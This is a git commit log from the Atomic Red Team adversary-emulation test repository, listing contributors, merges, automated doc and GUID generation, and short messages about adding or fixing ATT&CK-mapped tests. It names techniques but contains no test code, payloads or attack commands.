tccontre e2e6032f81 Tccontre redline defense evasion through registry (#2408)
* Update T1112.yaml

* Update T1112.yaml

* Update T1112.yaml

* Update T1112.yaml

* Update T1112.yaml

* Update T1112.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-04-27 11:09:51 -05:00
Carrie Roberts 887833f899 kill notepad after sleep (#2406)
see issue #2385

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-04-27 09:15:17 -06:00
Carrie Roberts a568b296ee add -UseBasicParsing (#2405)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-04-27 09:14:01 -06:00
Atomic Red Team GUID generator 43f9dfd812 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-27 14:23:24 +00:00
Mohana Shankar D 0061d9fd8c T1204.003 (#2410)
Co-authored-by: Shankar <mshank@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-04-27 09:22:56 -05:00
Carrie Roberts 7b710ceab5 correct registry value, see issue #2362 (#2404) 2023-04-27 08:01:33 -06:00
iai-rsa 60a4735f82 add check for McAffee related processes (#2401)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-04-24 19:37:55 -05:00
Atomic Red Team GUID generator cc4b9f2f61 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-25 00:36:23 +00:00
0xv1n 4759bb96c7 T1649 Test (#2400)
* t1649

* Update T1649.yaml

* simplification and create directories

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-04-24 19:35:54 -05:00
Atomic Red Team doc generator 7e99092a1c Generated docs from job=generate-docs branch=master [ci skip] 2023-04-24 22:14:38 +00:00
traceflow e3d0e671bc adding missing DLL for T1547.010, fixing typos (#2403) 2023-04-24 17:12:57 -05:00
Atomic Red Team doc generator c5b5aed916 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-15 01:13:35 +00:00
Atomic Red Team GUID generator 98ebdd67b3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-15 01:13:19 +00:00
Jose Enrique Hernandez e4f983592f Merge pull request #2394 from biot-2131/T1078.003 2023-04-14 21:12:54 -04:00
Jose Enrique Hernandez 653cf43052 Merge branch 'master' into T1078.003 2023-04-14 21:11:27 -04:00
Jose Enrique Hernandez 3f66b42ec0 Merge branch 'master' into T1562.004 2023-04-14 21:06:40 -04:00
Atomic Red Team doc generator c152e26ac9 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-15 01:05:54 +00:00
Atomic Red Team GUID generator dc272220f7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-15 01:05:35 +00:00
Jose Enrique Hernandez d4cfaa0170 Merge pull request #2345 from biot-2131/T1546.004_IV 2023-04-14 21:05:06 -04:00
Jose Enrique Hernandez 3f08e9ec30 Merge branch 'master' into T1546.004_IV 2023-04-14 21:03:47 -04:00
Atomic Red Team doc generator 3482229664 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-15 01:02:51 +00:00
Jose Enrique Hernandez 9a94c03b27 Merge branch 'master' into T1546.004_IV 2023-04-14 21:02:46 -04:00
Atomic Red Team GUID generator 86d323de03 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-15 01:02:35 +00:00
Jose Enrique Hernandez ef07e9c731 Merge pull request #2343 from biot-2131/T1059.004_IV 2023-04-14 21:01:21 -04:00
Biological Robot 76b61f4dac Merge branch 'master' into T1546.004_IV 2023-04-14 10:01:26 +01:00
Biological Robot 488042eac3 Update T1546.004.yaml
Removed the logout command and the check for the execution of the .bash_logout script
2023-04-14 09:59:48 +01:00
Biological Robot 2c599829cf Update T1078.003.yaml
Removed the attempt to su to the expired account, should work now
      su art
      # -> Your account has expired; please contact your system administrator.
      # -> su: Authentication failure
2023-04-14 09:29:15 +01:00
Biological Robot 293e42bc55 Merge branch 'master' into T1078.003 2023-04-14 08:55:21 +01:00
Biological Robot 521e801f89 Merge branch 'master' into T1059.004_IV 2023-04-14 08:42:36 +01:00
Atomic Red Team doc generator 2b44edfaa7 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-13 22:32:40 +00:00
Atomic Red Team GUID generator 52fd8333d8 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-13 22:32:24 +00:00
Bhavin Patel 70bd54991a Merge pull request #2398 from redcanaryco/josehelps-patch-2
T1552.001.yaml
2023-04-13 15:31:54 -07:00
Bhavin Patel eb2bc0ae4c Merge branch 'master' into josehelps-patch-2 2023-04-13 15:29:00 -07:00
Atomic Red Team doc generator bb8d9575d6 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-13 22:27:29 +00:00
Atomic Red Team GUID generator f678407f9f Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-13 22:27:13 +00:00
Bhavin Patel 5fae64dd23 Merge pull request #2377 from D4rkCiph3r/1078.001
Added new test - macOS T1078.001
2023-04-13 15:26:41 -07:00
Bhavin Patel 669f1a1e1e Merge branch 'master' into 1078.001 2023-04-13 15:23:08 -07:00
Bhavin Patel 5723d01a09 Merge branch 'master' into josehelps-patch-2 2023-04-13 15:21:41 -07:00
Atomic Red Team doc generator b746daa2ef Generated docs from job=generate-docs branch=master [ci skip] 2023-04-13 20:42:55 +00:00
Atomic Red Team GUID generator c297c1879a Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-13 20:42:33 +00:00
Bhavin Patel b60d84694c Merge pull request #2395 from well123cs/master
T1069.001 -added containers as platform
2023-04-13 13:42:00 -07:00
Bhavin Patel 047de97fae Merge branch 'master' into master 2023-04-13 13:41:13 -07:00
Atomic Red Team doc generator 779d458d9e Generated docs from job=generate-docs branch=master [ci skip] 2023-04-13 19:43:30 +00:00
Atomic Red Team GUID generator 38d64a4f75 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-13 19:43:11 +00:00
Bhavin Patel 537d27418a Merge pull request #2376 from JaideepPandher/master
T1046 -
2023-04-13 12:42:43 -07:00
Bhavin Patel 1ee748ae65 Merge branch 'master' into master 2023-04-13 12:38:17 -07:00
Atomic Red Team doc generator 68b0be1052 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-13 19:37:44 +00:00
Atomic Red Team GUID generator bbdfb939bb Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-13 19:37:25 +00:00
Paul Michaud c4b74e6ba5 Merge pull request #2399 from redcanaryco/hvci
Disable HVCI
2023-04-13 19:36:52 +00:00
Michael Haag dfa06b327c Update T1562.001.yaml
added test for disabling HVCI
2023-04-13 13:30:49 -06:00
hg8064 35b7359538 Merge branch 'T1562.004' of github.com:iai-rsa/atomic-red-team into T1562.004 2023-04-13 17:23:06 +02:00
hg8064 26c4c7e2d4 remove double quotes in test name to avoid invalid YAML 2023-04-13 17:19:57 +02:00
Jose Enrique Hernandez 3e72b1b2ac Merge branch 'master' into josehelps-patch-2 2023-04-13 10:57:20 -04:00
Jose Enrique Hernandez 45554a0e10 Merge branch 'master' into T1562.004 2023-04-13 10:46:28 -04:00
Atomic Red Team doc generator 46955a8ea7 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-13 14:38:39 +00:00
Atomic Red Team GUID generator 5596c1ea8e Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-13 14:38:20 +00:00
Jose Enrique Hernandez e61fd1fae6 Merge pull request #2393 from biot-2131/T1562.003
T1562.003 added five tests (Linux)
2023-04-13 10:37:32 -04:00
Jose Enrique Hernandez 2a8a2b04b6 Merge branch 'master' into T1562.003 2023-04-13 10:36:34 -04:00
Jose Enrique Hernandez 182bbeb232 Merge branch 'master' into T1546.004_IV 2023-04-13 10:24:40 -04:00
Jose Enrique Hernandez 2231f0c1d7 Merge branch 'master' into T1059.004_IV 2023-04-13 10:08:08 -04:00
Jose Enrique Hernandez fdcca49a52 T1552.001.yaml 2023-04-12 19:18:07 -04:00
well123cs 01c6ddd975 Update T1046.yaml 2023-04-12 13:57:10 -07:00
well123cs 07b0f40e60 Delete T1612.yaml 2023-04-12 13:56:18 -07:00
well123cs d79842ace7 Delete Dockerfile 2023-04-12 13:56:06 -07:00
well123cs bebd5b2310 Delete test.sh 2023-04-12 13:55:38 -07:00
Bhavin Patel 257a326599 Merge branch 'master' into master 2023-04-10 14:27:36 -05:00
Atomic Red Team doc generator fbdc0c4669 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-10 19:23:51 +00:00
Atomic Red Team GUID generator c548de6bfc Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-04-10 19:23:28 +00:00
Bhavin Patel fde75669ff Merge pull request #2375 from well123cs/t1612-1
T1612 1
2023-04-10 14:21:29 -05:00
well123cs adc544c95f Merge branch 'master' into t1612-1 2023-04-09 11:31:18 -07:00
well123cs 745c40d22e Merge branch 'master' into master 2023-04-09 11:30:59 -07:00
Jose Enrique Hernandez 3e60d002e4 Merge branch 'master' into T1059.004_IV 2023-04-05 23:09:30 -04:00
Atomic Red Team doc generator 52abfcde40 Generated docs from job=generate-docs branch=master [ci skip] 2023-04-05 02:34:59 +00:00
Jose Enrique Hernandez f604928f8f updating the atomic (#2397)
* updating the atomic

* removing incorrectly added file
2023-04-04 20:32:47 -06:00
D4rkCiph3r 33ef045048 Update T1486.yaml
Added 3 new test cases for macos
2023-04-04 14:24:48 +05:30
well123cs 4a88d86da6 Update T1069.001.yaml 2023-04-02 19:21:34 -07:00
well123cs 09bfb24ffd Update T1069.001.yaml 2023-04-02 19:20:44 -07:00
well123cs 45fdf3f615 Create test.sh 2023-04-02 19:13:42 -07:00
well123cs 1b00162178 Create Dockerfile 2023-04-02 19:13:12 -07:00
well123cs 7ff7030e75 Update T1069.001.yaml 2023-04-02 19:12:05 -07:00
well123cs 63145c41f8 Update T1612.yaml 2023-03-29 18:33:10 -07:00
Bhavin Patel 04f1320e2d Merge branch 'master' into t1612-1 2023-03-29 20:28:10 -05:00
biot-2131 1b826907a6 T1078.003 added three tests (Linux) 2023-03-29 16:50:39 +01:00
Jose Enrique Hernandez 77ee1faed2 Update generate-counter.yml (#2392)
ci was failing due to wrong python version
2023-03-29 08:42:05 -06:00
biot-2131 9f363c905c T1562.003 added five tests (Linux) 2023-03-29 10:46:55 +01:00
Jose Enrique Hernandez 0f385304fb Add total count (#2390)
* add counter parts

* adding readme updated

* updating counter
2023-03-28 08:38:27 -06:00
Atomic Red Team doc generator 63bd86ad84 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-28 12:52:06 +00:00
Atomic Red Team GUID generator 09bf62f3e6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-28 12:51:44 +00:00
Paul a7863b2d41 Merge pull request #2391 from 0xzeta/patch-1
Added new test - Enabling Remote Desktop Protocol via Remote Registry (T1112)
2023-03-28 08:50:20 -04:00
Zeta ff51371575 Update T1112
Added new technique "Enabling Remote Desktop Protocol via Remote Registry"
2023-03-28 14:28:40 +07:00
Jose Enrique Hernandez eff6370693 add counter parts (#2389) 2023-03-27 16:23:55 -06:00
well123cs 5adba74cbe Merge branch 'master' into t1612-1 2023-03-25 22:51:30 -07:00
D4rkCiph3r 68ec848ae8 Update T1531.yaml 2023-03-26 10:43:28 +05:30
Atomic Red Team doc generator b68a0b6cd7 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-23 23:27:28 +00:00
Ari-Weinberg 49e69856a0 T1070.006 create prereqs for mac/linux timestomp (#2387) 2023-03-23 17:26:37 -06:00
Atomic Red Team doc generator 004e042089 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-23 14:47:57 +00:00
Atomic Red Team GUID generator 869420c151 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-23 14:47:38 +00:00
Michael Haag 844d2be02b Two Atomics and a Pear Tree (#2384)
Co-authored-by: Paul <78918118+burning-pm@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-03-23 08:47:03 -06:00
Atomic Red Team doc generator 0c153fd334 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-23 14:42:04 +00:00
Ari-Weinberg e1a9f47d8d T1070.004 add prereqs for linux/mac file/folder (#2383)
Co-authored-by: Ari-Weinberg <ariweinberg326@gmail.comm>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-03-23 08:41:17 -06:00
Atomic Red Team doc generator 7e1e98a425 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-23 14:34:18 +00:00
Paul 5ed527744c Update T1087.002 Test 17 (#2386)
* Update T1087.002.yaml

* Update T1087.002.yaml

fix cleanup command from Get-Item to Remove-Item
2023-03-23 08:33:18 -06:00
Atomic Red Team doc generator b96d64bfd8 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-22 22:58:34 +00:00
Atomic Red Team GUID generator 935bc9dd9d Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-22 22:58:18 +00:00
Jose Enrique Hernandez 26453dc7f0 Merge pull request #2334 from D4rkCiph3r/patch-3
Added new tests (T1562) - macOS
2023-03-22 18:57:48 -04:00
Jose Enrique Hernandez 0b76900b8a Merge branch 'master' into patch-3 2023-03-22 18:57:05 -04:00
Atomic Red Team doc generator a1aaef3294 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-22 22:32:09 +00:00
Atomic Red Team GUID generator 517271c38f Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-22 22:31:53 +00:00
Jose Enrique Hernandez 98c87c0925 Merge pull request #2333 from D4rkCiph3r/patch-2
Added new tests - T1070.002 (macOS and Linux)
2023-03-22 18:31:22 -04:00
Jose Enrique Hernandez 8a39735611 Merge branch 'master' into patch-2 2023-03-22 18:30:40 -04:00
Atomic Red Team doc generator 59f8c86459 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-22 22:30:32 +00:00
Jose Enrique Hernandez 972860b5b6 Merge branch 'master' into patch-2 2023-03-22 18:30:18 -04:00
Atomic Red Team GUID generator 2de9b1aa45 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-22 22:30:15 +00:00
Jose Enrique Hernandez 8c45fa1a75 Merge pull request #2332 from D4rkCiph3r/patch-1
Added new test case - T1027.001
2023-03-22 18:29:43 -04:00
Jose Enrique Hernandez 4fbe3256d8 Merge branch 'master' into patch-1 2023-03-22 18:28:49 -04:00
well123cs aaa1eb7a45 Merge branch 'master' into master 2023-03-20 15:31:16 -07:00
Atomic Red Team doc generator e9ea0880cb Generated docs from job=generate-docs branch=master [ci skip] 2023-03-20 22:21:10 +00:00
Atomic Red Team GUID generator 8c4cb3229c Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-20 22:20:55 +00:00
zaicurity 74f69e9797 Added test "Discover Specific Process - tasklist" (#2373)
* Added test "Discover Specific Process - tasklist"

This test is meant to simulate process discovery activity that targets specific process names. The default process here is lsass to simulate what is seen in https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/.

* Update T1057.yaml

removed guid

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-03-20 16:20:28 -06:00
Atomic Red Team doc generator 41355dea4e Generated docs from job=generate-docs branch=master [ci skip] 2023-03-20 19:39:02 +00:00
Atomic Red Team GUID generator 8a83c877bb Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-20 19:38:46 +00:00
Darin Manley 29063f5306 Added RemCom to execute a command on a remote host (#2380)
* Added RemCom to execute a command on a remote host

* Update T1569.002.yaml

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-03-20 13:38:17 -06:00
Atomic Red Team doc generator 62307f5d7b Generated docs from job=generate-docs branch=master [ci skip] 2023-03-20 15:12:10 +00:00
Paul f0a94f763b Update T1564.yaml (#2379) 2023-03-20 09:07:47 -06:00
D4rkCiph3r 27d8b10de5 Update T1078.001.yaml
New macOS rule for T1078.001
2023-03-19 17:00:59 +05:30
D4rkCiph3r b1871b8273 Update T1070.002.yaml
Updated names and descriptions of the atomic tests.
Added few references and comments.
Updated few atomic tests.
Re-ordered macOS and linux tests for better organisation.
2023-03-18 10:20:14 +05:30
D4rkCiph3r 0f0cdf35ab Update T1562.yaml
Updated the atomic test(#1, #2) name and description.
Added clean-up commands.
2023-03-18 09:07:34 +05:30
D4rkCiph3r 9171dda6f3 Merge branch 'master' into patch-1 2023-03-18 08:27:30 +05:30
D4rkCiph3r 4b2ddac423 Update T1027.001.yaml
Updated the test descriptions for atomic test #1 and #2.
2023-03-18 08:22:10 +05:30
well123cs 07b8c79c9c Merge pull request #4 from JaideepPandher/well123cs-patch-1
adding src files for "Adding tests for container matrix"
2023-03-17 19:32:05 -07:00
well123cs 4d4c9d5b15 Adding tests for containers - yaml changed
Added test for the containers
Made changes in the yaml file to incorporate containers as platforms

![image](https://user-images.githubusercontent.com/119821998/226078329-49da64f7-190c-44b6-a737-c8bf65c3ec89.png)

![image](https://user-images.githubusercontent.com/119821998/226078351-f86cc70b-85b2-4451-8aed-7cb3441453c6.png)
2023-03-17 19:31:44 -07:00
well123cs f46fd0dc27 Add files via upload 2023-03-17 19:29:14 -07:00
well123cs 5666993185 Merge pull request #3 from JaideepPandher/revert-2-t1046 2023-03-17 18:34:42 -07:00
well123cs 0773daad12 Revert "Add files via upload" 2023-03-17 18:34:12 -07:00
well123cs b5282ed9b6 Merge pull request #2 from JaideepPandher/t1046
Add files via upload
2023-03-17 18:26:07 -07:00
well123cs 1347a1a8f5 Add files via upload 2023-03-17 18:17:14 -07:00
well123cs 9f2ea7901c Merge branch 'master' into t1612-1 2023-03-17 17:51:11 -07:00
well123cs 15384a3a43 Merge pull request #1 from well123cs/t1612-1
T1612
2023-03-17 17:50:05 -07:00
well123cs 1ca680d0d5 Update T1612.yaml 2023-03-17 16:58:50 -07:00
well123cs e327248278 Add files via upload 2023-03-17 15:21:40 -07:00
Atomic Red Team doc generator c967af1060 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-17 20:40:08 +00:00
Atomic Red Team GUID generator cc36afc188 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-17 20:39:52 +00:00
Bhavin Patel 0496bcb379 Merge pull request #2362 from m4nbat/gk-atomic-red-team-T1531-Account-Deletion
Gk atomic red team t1531 account deletion
2023-03-17 15:38:50 -05:00
Bhavin Patel bd9dde39e2 Merge branch 'master' into gk-atomic-red-team-T1531-Account-Deletion 2023-03-17 15:37:18 -05:00
Atomic Red Team doc generator 8ec8bb8d24 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-17 20:01:43 +00:00
Paul b46cedacdd Merge pull request #2374 from redcanaryco/T1033-Cleanup-Fix
Fix-Cleanup-Command
2023-03-17 16:00:11 -04:00
Paul 198b2c3fcc Merge branch 'master' into T1033-Cleanup-Fix 2023-03-17 15:58:40 -04:00
Atomic Red Team doc generator aaf94f9b37 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-17 19:58:12 +00:00
Atomic Red Team GUID generator d9ad3781d6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-17 19:57:57 +00:00
Paul db6e360cc3 Merge branch 'master' into T1033-Cleanup-Fix 2023-03-17 15:57:18 -04:00
Paul 8e27dbe2b1 Merge pull request #2365 from iai-rsa/T1012
update T1012 with more commands
2023-03-17 15:56:57 -04:00
Paul ae0f02b079 Merge branch 'master' into T1012 2023-03-17 15:55:29 -04:00
Michael Haag 26aa690d68 Update T1012.yaml
fix guid
2023-03-17 13:53:52 -06:00
Jose Enrique Hernandez 16636cda60 Merge branch 'master' into T1059.004_IV 2023-03-17 15:48:16 -04:00
Atomic Red Team doc generator 96d11e0592 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-17 19:48:14 +00:00
Atomic Red Team GUID generator 07deaa02b1 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-17 19:47:58 +00:00
Jose Enrique Hernandez 7356f2eb55 Merge pull request #2336 from biot-2131/T1110.001_II
T1110.001 updated two tests
2023-03-17 15:46:56 -04:00
Jose Enrique Hernandez 278a7d5a6d Merge branch 'master' into T1110.001_II 2023-03-17 15:43:41 -04:00
Jose Enrique Hernandez a644221a85 Merge branch 'master' into patch-2 2023-03-17 15:42:37 -04:00
Paul 8815d0821f Merge branch 'master' into T1012 2023-03-17 15:41:46 -04:00
Carrie Roberts 9c6e2bae53 Merge branch 'master' into T1033-Cleanup-Fix 2023-03-17 13:28:25 -06:00
Atomic Red Team doc generator 27770715fb Generated docs from job=generate-docs branch=master [ci skip] 2023-03-17 19:20:24 +00:00
Bhavin Patel 7f8676c6b9 Merge pull request #2364 from cnotin/pr-fix-upn-confusion
T098: accept UserPrincipalName for the "user_principal_name" argument
2023-03-17 14:18:53 -05:00
Bhavin Patel d87f86a4d6 Merge branch 'master' into pr-fix-upn-confusion 2023-03-17 14:11:42 -05:00
Atomic Red Team doc generator c3675964f8 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-17 19:00:35 +00:00
Atomic Red Team GUID generator fa1e708682 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-17 19:00:19 +00:00
Jose Enrique Hernandez 0f79569e2d Merge pull request #2321 from D4rkCiph3r/T1078.003
Added 3 new tests T1078.003 - macOS
2023-03-17 14:59:16 -04:00
Jose Enrique Hernandez 29aa3f07bf Merge branch 'master' into T1078.003 2023-03-17 12:38:36 -04:00
Jose Enrique Hernandez 4ca92ab6b6 Merge branch 'master' into patch-1 2023-03-17 11:29:18 -04:00
Burning_PM 67afbfe15c Fix-Cleanup-Command
Fix the cleanup command to pass the output_path input argument instead of being hardcoded.
2023-03-17 06:53:35 -07:00
Gavin Knapp 171d9d5e72 Merge branch 'master' into gk-atomic-red-team-T1531-Account-Deletion 2023-03-17 08:34:04 +00:00
Atomic Red Team doc generator 8025353c3d Generated docs from job=generate-docs branch=master [ci skip] 2023-03-16 23:41:15 +00:00
Atomic Red Team GUID generator d62766548b Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-16 23:40:55 +00:00
Paul 73a144caa6 T1033-whoami-simplification (#2370)
* Variation on system/user discovery

Slight variation on Test 1: System Owner/User Discovery. This is meant to be a stripped down version.

* Update T1033.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-03-16 17:39:46 -06:00
Atomic Red Team doc generator 077f0ac288 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-16 23:36:29 +00:00
Atomic Red Team GUID generator 824eb46e08 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-16 23:36:12 +00:00
Carrie Roberts 011e512d29 add Cobalt Strike named pipe atomics (#2372) 2023-03-16 17:35:10 -06:00
hg8064 9cbcd8977c update T1562.004 with more commands 2023-03-16 17:49:53 +01:00
Atomic Red Team doc generator 809970561a Generated docs from job=generate-docs branch=master [ci skip] 2023-03-16 15:51:28 +00:00
Carrie Roberts 9fed5b2315 remove unused input arg (#2368)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-03-16 09:50:15 -06:00
Atomic Red Team doc generator 7db6b229bd Generated docs from job=generate-docs branch=master [ci skip] 2023-03-16 15:48:11 +00:00
Carrie Roberts 6a7bdf14d9 remove unused input arg (#2367)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-03-16 09:47:23 -06:00
Atomic Red Team doc generator 535c693a65 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-16 15:44:49 +00:00
Carrie Roberts 4d272cdcdc remove unused inputargs (#2366) 2023-03-16 09:44:03 -06:00
hg8064 cc251318dc update T1012 with more commands 2023-03-15 20:10:31 +01:00
Clément Notin efd6dbb465 T098: accept UserPrincipalName for the "user_principal_name" argument
In Azure AD a "user principal name" can be interpreted as the "name of a principal of type user"
or as the "UserPrincipalName (UPN)" user attribute!
But most people will expect the second meaning. Which is confusing since this test actually expects to see
the user display name in this attribute.

I think there was a confusion with the sibling test which is for "service principal",
so for which the argument to designate it by name is "service_principal_name".

With this change, there is no regression while being compatible with people passing a UPN to this argument.
2023-03-15 18:25:11 +01:00
Gavin Knapp 92c180bf43 Merge branch 'redcanaryco:master' into gk-atomic-red-team-T1531-Account-Deletion 2023-03-14 07:53:42 +00:00
Atomic Red Team doc generator 159dda49d8 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-14 00:45:40 +00:00
Atomic Red Team GUID generator de0f49fb5c Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-14 00:45:21 +00:00
Bhavin Patel 8b6a61bff1 Merge pull request #2355 from sulakshan-kumar/Azure_Persistence_Automation_Runbook_Created_or_Modified
Azure persistence automation runbook created or modified
2023-03-13 17:44:44 -07:00
Bhavin Patel 9a084cbf66 Merge branch 'master' into Azure_Persistence_Automation_Runbook_Created_or_Modified 2023-03-13 17:44:08 -07:00
Atomic Red Team doc generator f6437b843f Generated docs from job=generate-docs branch=master [ci skip] 2023-03-14 00:43:58 +00:00
Atomic Red Team GUID generator 56840ea08a Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-14 00:43:40 +00:00
Bhavin Patel 94cedd4acf Merge pull request #2359 from m4nbat/gk-atomic-red-team-T1136.003-Azure-CLI
Gk atomic red team t1136.003 azure cli
2023-03-13 17:43:06 -07:00
Gavin Knapp 8a6b82d185 Merge branch 'master' into gk-atomic-red-team-T1136.003-Azure-CLI 2023-03-13 20:41:10 +00:00
Atomic Red Team doc generator d26d95d3f7 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-13 18:57:35 +00:00
Carrie Roberts 04b6a8fbc3 Adfind prereq fixes (#2360)
* doesn't exfil data as written

* update prereqs

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-03-13 12:56:47 -06:00
Atomic Red Team doc generator c86971b4e7 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-13 18:54:24 +00:00
Carrie Roberts dbcf181202 fix typo (#2358)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-03-13 12:53:33 -06:00
Atomic Red Team doc generator c42cd26868 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-13 18:41:34 +00:00
Carrie Roberts 08f1fdcc2b use ART repo instead of ARTifacts (#2361)
* use ART repo instead of ARTifacts

* typo fix
2023-03-13 12:40:49 -06:00
Gavin Knapp 1e3ecda292 Update T1531.yaml
removed special character causing an error
2023-03-11 14:07:32 +00:00
Gavin Knapp 949d151fc2 Update T1531.yaml
Added two account deletion tests for Azure AD, one via Azure CLI and another using AzureAD PowerShell Module
2023-03-11 14:03:40 +00:00
Gavin Knapp c0b144a44a Update T1136.003.yaml
removed auto_generated_guid field that was failing checks
2023-03-11 13:40:18 +00:00
Gavin Knapp 434a54490d Update T1136.003.yaml
fixed a couple of typos and removed a blank line
2023-03-11 07:51:42 +00:00
Gavin Knapp cd12370a63 Update T1136.003.yaml 2023-03-10 21:49:39 +00:00
Gavin Knapp 937c62b9be Update T1136.003.yaml 2023-03-10 21:28:09 +00:00
Gavin Knapp 13c3f8361f Update T1136.003.yaml
Added the same technique but via the azure cli with an automated login atomic which then creates  anew user via the Azure CLI
2023-03-10 21:27:27 +00:00
Bhavin Patel cf4acdc527 Merge branch 'master' into Azure_Persistence_Automation_Runbook_Created_or_Modified 2023-03-09 14:44:58 -08:00
Atomic Red Team doc generator b65e562290 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-09 22:42:27 +00:00
Atomic Red Team GUID generator aaf3fd5992 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-09 22:42:12 +00:00
Bhavin Patel 8b7ba2fab9 Merge pull request #2352 from m4nbat/gk-atomic-red-team-T1136.003-UPDATE
GK atomic red team t1136.003 update
2023-03-09 14:41:47 -08:00
Bhavin Patel 6a4d1571f3 remove guid key 2023-03-09 14:39:07 -08:00
Bhavin Patel 9e0e9ebae4 Merge branch 'master' into gk-atomic-red-team-T1136.003-UPDATE 2023-03-09 14:37:57 -08:00
Atomic Red Team doc generator f982fdda71 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-09 16:50:59 +00:00
Zeta 8863da1c40 T1112: fix typo (#2357)
fix typo
2023-03-09 09:49:28 -07:00
sulakshan-kumar 6cf33d4a79 Update T1078.004.yaml
updated "Azure Persistence Automation Runbook Created or Modified" scenario
2023-03-07 15:39:29 +05:30
sulakshan-kumar e02b05f3b8 Update T1078.004.yaml
Updated "Azure Persistence Automation Runbook Created or Modified" scenario.
2023-03-07 15:33:43 +05:30
Gavin Knapp 83a170407a Merge branch 'redcanaryco:master' into gk-atomic-red-team-T1136.003-UPDATE 2023-03-04 15:30:26 +00:00
Atomic Red Team doc generator f296668303 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-02 15:30:01 +00:00
Jose Enrique Hernandez ccfababf58 T1140 bash base64 decode (#2353)
* added a new test for base64 encoded shebang shells

* updated description

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-03-02 08:29:17 -07:00
m4nbat c1079b58f6 Merge branch 'redcanaryco:master' into gk-atomic-red-team-T1136.003-UPDATE 2023-03-02 14:40:19 +00:00
m4nbat 16c9bcfc07 Update T1136.003.yaml
Changed the way I did the test after some additional testing and playing around.
2023-03-02 14:39:37 +00:00
Atomic Red Team doc generator 2f53466792 Generated docs from job=generate-docs branch=master [ci skip] 2023-03-01 22:06:40 +00:00
Atomic Red Team GUID generator 20fc4c5d66 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-03-01 22:06:24 +00:00
Jose Enrique Hernandez 63dc1ce0f1 added a new test for base64 encoded shebang shells (#2351) 2023-03-01 15:05:51 -07:00
Atomic Red Team doc generator ba2dd8d1cd Generated docs from job=generate-docs branch=master [ci skip] 2023-02-28 21:24:39 +00:00
